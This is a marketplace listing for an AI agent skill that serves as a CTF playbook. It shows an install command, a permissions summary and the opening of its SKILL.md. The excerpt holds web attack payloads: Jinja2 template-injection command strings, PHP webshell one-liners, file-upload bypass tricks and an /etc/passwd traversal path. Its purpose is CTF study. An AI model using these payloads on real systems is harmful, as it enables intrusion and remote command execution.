ctf-playbook
CTF (Capture The Flag) competition playbook — Web, Crypto, Reverse Engineering, PWN/Binary Exploitation, Forensics, Steganography, OSINT, and Misc categories.
Skill by Wang200935
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/wang200935-ctf-playbook
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: finance
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/ctf-playbook
What's inside
- Skill name
ctf-playbook- Description
- CTF (Capture The Flag) competition playbook — Web, Crypto, Reverse Engineering, PWN/Binary Exploitation, Forensics, Steganography, OSINT, and Misc categories. Covers methodology, tools, common vulnerabilities, and exploit patterns for each CTF category.
- License
- MIT
- Metadata
- hermes_origin: import
- Instructions
- 249 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (35)
- SKILL.md
- advanced-rsa-attacks.md · references/
- advanced-stack-exploitation.md · references/
- authenticated-encryption-attacks.md · references/
- awesome-ctf-tools.md · references/
- bash-restriction-bypass.md · references/
- blockchain--cryptocurrency-crypto.md · references/
- cross-architecture-pwn.md · references/
- ctf-automation-script.md · references/
- ctf-workflow-methodology.md · references/
- deep-knowledge-references.md · references/
- ecc-deep-attacks.md · references/
- elliptic-curve-cryptography-ecc-attacks.md · references/
- forensics.md · references/
- fsop--file-stream-oriented-programming.md · references/
- gdbpwndbg-advanced.md · references/
- hash-attacks.md · references/
- historical-ciphers--specialized-attacks.md · references/
- integer-overflow--type-confusion.md · references/
- kernel-exploitation.md · references/
- lattice-based-attacks.md · references/
- lattice-cryptography-deep-dive.md · references/
- mitigation-bypass-techniques.md · references/
- osint-in-ctf-context.md · references/
- pitfalls.md · references/
- pwn--binary-exploitation.md · references/
- pwntools-advanced-usage.md · references/
- python-sandbox-bypass.md · references/
- quantum--post-quantum.md · references/
- reverse-engineering.md · references/
- side-channel--fault-attacks.md · references/
- steganography.md · references/
- symmetric-cryptanalysis.md · references/
- v8browser-exploitation.md · references/
- zkp--protocol-attacks.md · references/
SKILL.md (first lines)
# CTF Playbook
Comprehensive playbook for CTF competitions. Each category has its methodology, tools, common challenges, and exploit patterns.
## Category Quick Reference
| Category | Common tools | Typical challenges |
|:---------|:-------------|:-------------------|
| **Web** | Burp Suite, curl, Python requests | SQLi, XSS, SSTI, LFI, SSRF, deserialization, JWT |
| **Crypto** | Python, SageMath, CyberChef, RsaCtfTool | RSA, AES, padding oracle, hash collisions, classical ciphers |
| **Reverse Engineering** | Ghidra, IDA Free, radare2, gdb, angr | Binary analysis, obfuscation, packing, custom VMs |
| **PWN** | pwntools, gdb/pwndbg, ROPgadget, checksec | Buffer overflow, ROP, format string, heap exploitation |
| **Forensics** | binwalk, foremost, volatility, Wireshark, strings | File carving, memory forensics, PCAP analysis, disk images |
| **Steganography** | steghide, zsteg, stegsolve, exiftool, binwalk | Image stego, audio stego, LSB, metadata |
| **OSINT** | Google dorking, Shodan, WHOIS, social media | Geolocation, image analysis, social engineering |
| **Misc** | Everything else | Programming, logic puzzles, game hacking, protocols |
---
## WEB
### Quick Start — The Web Checklist
```
1. View page source (Ctrl+U) — comments, hidden fields, debug info
2. Check robots.txt, sitemap.xml, .git/, .env, .DS_Store
3. Check all cookies, localStorage, sessionStorage
4. Check HTTP headers (X-Powered-By, Server, Set-Cookie)
5. Try default credentials (admin:admin, admin:password)
6. Test for SQLi in every parameter
7. Test for SSTI if {{7*7}} appears in output
8. Test for LFI with ../../etc/passwd
9. Check file upload for unrestricted types
10. Look for JWT tokens — try alg:none, weak secrets
```
### Common CTF Web Vulnerabilities
```python
# SSTI quick check — if {{7*7}} outputs 49, SSTI exists
SSTI_CHECK = '{{7*7}}'
# Flask/Jinja2 RCE
JINJA2_RCE = "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
JINJA2_RCE_ALT = "{{ config.__class__.__init__.__globals__['os'].popen('cat /flag*').read() }}"
# PHP type juggling
PHP_MAGIC_HASH = '240610708' # == 'QNKCDZO' in PHP loose comparison
PHP_TYPE_JUGGLE = {
'0e12345': '0e67890', # both evaluate to 0 in scientific notation
'NULL': 'array() == NULL in PHP < 8',
}
# Node.js prototype pollution
NODE_PROTO = '{"__proto__":{"isAdmin":true}}'
NODE_PROTO2 = '{"constructor":{"prototype":{"isAdmin":true}}}'
# Deserialization
PHP_UNSERIALIZE_POP = '''
O:8:"Example1":1:{s:10:"cache_file";s:14:"/tmp/shell.php";}
'''
```
### File Upload Bypass Techniques
```python
FILE_UPLOAD_BYPASS = {
'double_extension': 'shell.php.jpg',
'null_byte': 'shell.php%00.jpg',
'mime_bypass': "Content-Type: image/jpeg (with .php content)",
'magic_bytes': 'GIF89a;\\n<?php system($_GET["cmd"]); ?>', # starts with GIF header
'svg_xss': '<svg/onload=alert(1)>',
'phar_file': 'Create .phar archive with PHP payload',
'htaccess': 'Upload .htaccess to execute custom extensions',
'polyglot': 'Create files valid as both image and PHP',
}
# PHP webshell one-liner (for file upload challenges)
PHP_WEBSHELLS = [
'<?php system($_GET["cmd"]); ?>',
'<?php echo shell_exec($_GET["cmd"]); ?>',
'<?=`$_GET[0]`?>', # shortest
'<script language="php">system($_GET[0]);</script>',
]
```
---
## CRYPTO
### Classical Ciphers
```python
# Caesar cipher
def caesar(text: str, shift: int) -> str:
result = []
for c in text:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
result.append(chr((ord(c) - base + shift) % 26 + base))
else:
result.append(c)
return ''.join(result)
# Vigenère cipher
def vigenere(text: str, key: str, decrypt: bool = True) -> str:
result = []
key_idx = 0
for c in text:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
shift = ord(key[key_idx % len(key)].upper()) - ord('A')
if decrypt:
shift = -shift
result.append(chr((ord(c) - base + shift) % 26 + base))
key_idx += 1
else:
result.append(c)
return ''.join(result)
# XOR cipher
def xor_decrypt(data: bytes, key: bytes) -> bytes:From Wang200935/security-agent-skills, MIT.
More from Wang200935/security-agent-skills
- 0.574score
ctf-misc-toolkit
Wang200935
Solve CTF Misc challenges including pyjails/sandboxes, OSINT, puzzles, encodings, QR/barcodes, esolangs, protocols, game challenges, cloud/config leaks…
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
ctf-orchestrator
Wang200935
Orchestrate Capture-the-Flag challenge solving across Web Exploitation, Cryptography, Forensics, Reverse Engineering, Pwn/Binary Exploitation, and Misc.
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
ai-mcp-security
Wang200935
AI 与 MCP 安全评估 — Prompt 注入、工具滥用、MCP 信任边界、Agent 权限逃逸、数据泄露、模型风险、GAARM 风险矩阵。Use when testing LLM-based applications, MCP servers, agent orchestration systems, AI…
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
security-audit
Wang200935
Security audit of a codebase — web apps, APIs, services, CLI tools, libraries, daemons, and more.
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
ctf-jail-escape
Wang200935
CTF杂项知识库 — Python Jail逃逸、Bash Jail逃逸、编码链识别与解码、QR/音频/图像隐写、游戏VM逆向、CTFd API导航、Linux提权。Use when performing authorized penetration testing, CTF, or security…
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
crypto-ctf-attacks
Wang200935
CTF密码学攻击知识库 — RSA攻击(小指数/共模/Wiener/Coppersmith)、AES攻击(Padding Oracle/ECB字节翻转/GCM nonce重用)、ECC攻击、LFSR/LCG/PRNG攻击、古典密码、LWE格攻击。Use when performing authorized…
SkillBFreshness: B★ 4Claude Code +9 - 0.571score
ctf-kernel-exploitation
Wang200935
Solve CTF kernel exploitation challenges — Linux kernel pwn, QEMU TCG bugs, modprobe_path overwrite, remote kernel CTFs with PoW/WebSocket terminal.
SkillBFreshness: B★ 4Claude Code +9 - 0.571score
modern-attack-surfaces
Wang200935
Modern attack surfaces beyond traditional pentesting — LLM/AI security (prompt injection, model poisoning), supply chain attacks, blockchain/smart contract…
SkillBFreshness: B★ 4Claude Code +9 - 0.570score
ctf-technique-atlas
Wang200935
Deep CTF technique atlas for mapping challenge clues to concrete attack patterns, tools, scripts, and next probes across Web, Crypto, Forensics, Reverse, Pwn…
SkillBFreshness: B★ 4Claude Code +9 - 0.570score
ctf-web-exploitation
Wang200935
Solve CTF Web Exploitation challenges by triaging HTTP behavior, source code, sessions, auth, injection, SSRF, file upload, template, deserialization, race…
SkillBFreshness: B★ 4Claude Code +9 - 0.570score
crypto-toolkit
Wang200935
编码解码与加解密工具 — base64/URL/Hex/HTML实体编码解码,MD5/SHA哈希,AES/DES/RSA加解密,JWT解析,Caesar/ROT13密码,栅栏/Vigenere密码,Unicode转义,Morse电码等。Use when performing authorized…
SkillBFreshness: B★ 4Claude Code +9 - 0.569score
ctf-writeup-discipline
Wang200935
Produce CTF write-ups with authentic solve evidence, scripts, screenshots, and clean separation from reference material.
SkillBFreshness: B★ 4Claude Code +9
Signals
- Stars
- 4
- Forks
- 1
- Open issues
- 0
- Last commit (this folder)
- Aug 12, 2026 (2 months ago)
- Last release
- Aug 13, 2026 (2 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from Wang200935
- 0.574score
ai-mcp-security
Wang200935
AI 与 MCP 安全评估 — Prompt 注入、工具滥用、MCP 信任边界、Agent 权限逃逸、数据泄露、模型风险、GAARM 风险矩阵。Use when testing LLM-based applications, MCP servers, agent orchestration systems, AI…
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
ctf-orchestrator
Wang200935
Orchestrate Capture-the-Flag challenge solving across Web Exploitation, Cryptography, Forensics, Reverse Engineering, Pwn/Binary Exploitation, and Misc.
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
security-audit
Wang200935
Security audit of a codebase — web apps, APIs, services, CLI tools, libraries, daemons, and more.
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
ctf-jail-escape
Wang200935
CTF杂项知识库 — Python Jail逃逸、Bash Jail逃逸、编码链识别与解码、QR/音频/图像隐写、游戏VM逆向、CTFd API导航、Linux提权。Use when performing authorized penetration testing, CTF, or security…
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
ctf-misc-toolkit
Wang200935
Solve CTF Misc challenges including pyjails/sandboxes, OSINT, puzzles, encodings, QR/barcodes, esolangs, protocols, game challenges, cloud/config leaks…
SkillBFreshness: B★ 4Claude Code +9 - 0.574score
crypto-ctf-attacks
Wang200935
CTF密码学攻击知识库 — RSA攻击(小指数/共模/Wiener/Coppersmith)、AES攻击(Padding Oracle/ECB字节翻转/GCM nonce重用)、ECC攻击、LFSR/LCG/PRNG攻击、古典密码、LWE格攻击。Use when performing authorized…
SkillBFreshness: B★ 4Claude Code +9
Cite this page
ctf-playbook skill. Agent Mart. https://agentmart.dev/skills/wang200935-ctf-playbook (last updated 2026-10-24)